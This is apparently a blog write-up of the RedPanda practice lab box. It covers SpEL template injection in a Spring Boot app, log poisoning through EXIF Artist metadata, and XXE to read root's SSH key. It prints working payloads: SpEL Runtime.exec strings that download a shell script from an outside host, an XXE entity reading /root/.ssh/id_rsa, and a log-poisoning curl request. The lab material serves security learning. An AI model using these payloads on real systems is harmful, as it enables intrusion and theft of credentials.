Myles Nieman
← All writeups

RedPanda

Overview

RedPanda is an easy Linux box running a Spring Boot web application with a search feature that is vulnerable to Server-Side Template Injection (SSTI) via the Spring Expression Language (SpEL). That gives initial code execution as woodenk. For root, a cron job runs a Java log-parser as root: the parser reads a log file writable by woodenk, follows a URI to a JPEG on disk, reads the image’s EXIF Artist tag to locate an XML stats file, and then parses that XML — creating a chain where we control the Artist tag and can inject an XXE payload into the XML to exfiltrate root’s private SSH key.

Path: SpEL SSTI → shell as woodenk → log-parser cron → JPEG Artist metadata poisoning → XXE in XML → root SSH key → root.

Enumeration

The scan reveals two open ports: SSH on 22 and a web server on 8080.

Nmap results showing SSH on 22 and Spring Boot on 8080

The service on 8080 is a Spring Boot application — a red-panda themed search engine. Everything else on the page is static; the search box is the only interactive surface.

The RedPanda search application home page

Foothold — Server-Side Template Injection

The search box reflects input back into the page, so basic injection probing is the first move. Submitting $ causes an error response rather than a “no results” message, which is a hint that the input is being processed by a template engine.

Submitting a dollar sign returns an error, hinting at a template engine

A simple arithmetic payload *{1+2} confirms SpEL SSTI — the page renders 3 instead of the literal string:

The arithmetic SSTI probe *{1+2} evaluates to 3

SpEL expression evaluation confirmed in the response

With SpEL confirmed, a Runtime.exec payload gives full command execution:

Spring Boot SpEL RCE payload firing against the search endpoint

RCE confirmed — command output visible in the response

User

The user flag is readable immediately after landing execution as woodenk:

User flag retrieved via RCE

To get a proper interactive shell, I used the SSTI to download and execute a reverse shell script:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl 10.10.14.10:9000/shell.sh -o shell.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x shell.sh').getInputStream())}

After catching the callback, I upgraded the TTY:

python3 -c 'import pty;pty.spawn("bash")'

Reverse shell received and TTY upgraded

Privilege Escalation — Log Poisoning + XXE

Discovering the cron job

Running linpeas surfaces interesting SUID/SGID binaries and process information. In the process tree, root is running a cron that executes the Spring Boot app as woodenk in the logs group:

root → /usr/sbin/CRON → sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar

LinPEAS showing interesting files and process information

LinPEAS output highlighting the log directory and group membership

LinPEAS surfacing the panda_search application and creds file

pspy64 confirms a separate root-owned cron runs the log parser jar on a timer:

pspy64 showing the root cron running the log parser

Understanding the parser

Reading the source (RequestInterceptor.java) shows the web app appends a line to /opt/panda_search/redpanda.log for every request, in the format:

response_code||remote_addr||user_agent||request_uri

The log-parser App.java reads that log file, skips lines that don’t contain .jpg, and for matching lines:

  1. Extracts the uri field.
  2. Builds the full path: /opt/panda_search/src/main/resources/static + uri.
  3. Opens the JPEG at that path and reads its EXIF Artist tag.
  4. Constructs an XML path: /credits/<artist>_creds.xml.
  5. Parses that XML with a SAX builder — no entity expansion hardening.

The export.xml endpoint in the web app confirms the XML format and location:

The /export.xml endpoint showing the woodenk_creds.xml structure

Content of woodenk_creds.xml confirming the XML schema

Building the exploit chain

The plan:

  1. Create a JPEG with an Artist tag pointing to our malicious XML at /tmp/ha1ks_creds.xml.
  2. Place an XXE-injected XML at /tmp/ha1ks_creds.xml that reads /root/.ssh/id_rsa.
  3. Upload both files to a path woodenk can write.
  4. Poison the log so the parser processes our JPEG URI.
  5. Wait for the cron, then fetch the XML — which now contains root’s key.

First, I created the malicious XML with an XXE entity pointing at root’s SSH key:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ha1ks SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
  <author>woodenk</author>
  <image>
    <uri>/../../../../../../../../../home/woodenk/crafty.jpg</uri>
    <hello>&ha1ks;</hello>
    <views>4</views>
  </image>
  <totalviews>4</totalviews>
</credits>

Next, I crafted a JPEG (crafty.jpg) and set its EXIF Artist tag to ../tmp/ha1ks so the parser builds the path /credits/../tmp/ha1ks_creds.xml, which resolves to our malicious file:

The crafty.jpg panda image before metadata modification

ExifTool confirming the Artist tag is set to the poison path

Both files placed in woodenk’s home directory:

crafty.jpg and ha1ks_creds.xml staged in woodenk’s home directory

Poisoning the log

Writing directly to the log doesn’t work as expected — the parser validates the line format. Instead, I poisoned it via a crafted HTTP request with the JPEG path in the User-Agent field, making the log line point to crafty.jpg:

curl -i -s -k -X POST --data-binary 'name=ha1ks' 'http://10.10.11.170:8080/search' \
  -A "||/../../../../../../../home/woodenk/crafty.jpg"

The URI field in the log entry must end in .jpg to pass the isImage check, and the path must resolve to our image — both conditions are met here.

The poisoned log entry visible in redpanda.log

Root

After the root cron runs the parser, it processes the poisoned log line, reads our JPEG’s Artist metadata, opens our malicious XML, expands the XXE entity, and writes root’s private SSH key into the <hello> element. Fetching the XML via the export endpoint reveals the key:

root’s SSH private key exfiltrated via the XXE-expanded XML

With the key saved locally, SSH in as root:

$ chmod 600 root_id_rsa
$ ssh -i root_id_rsa root@10.10.11.170

Takeaways

  • SpEL SSTI in Spring Boot is a critical sink — any user-controlled input that reaches a ${...} or *{...} expression context in Thymeleaf or similar gives full RCE with Runtime.exec.
  • Log-parser chains are nasty. Here, three independent weak points — a writable log, attacker-controlled EXIF metadata, and an XXE-unsafe SAX parser — combined into a reliable root primitive. Each piece alone looks minor; the chain is game-over.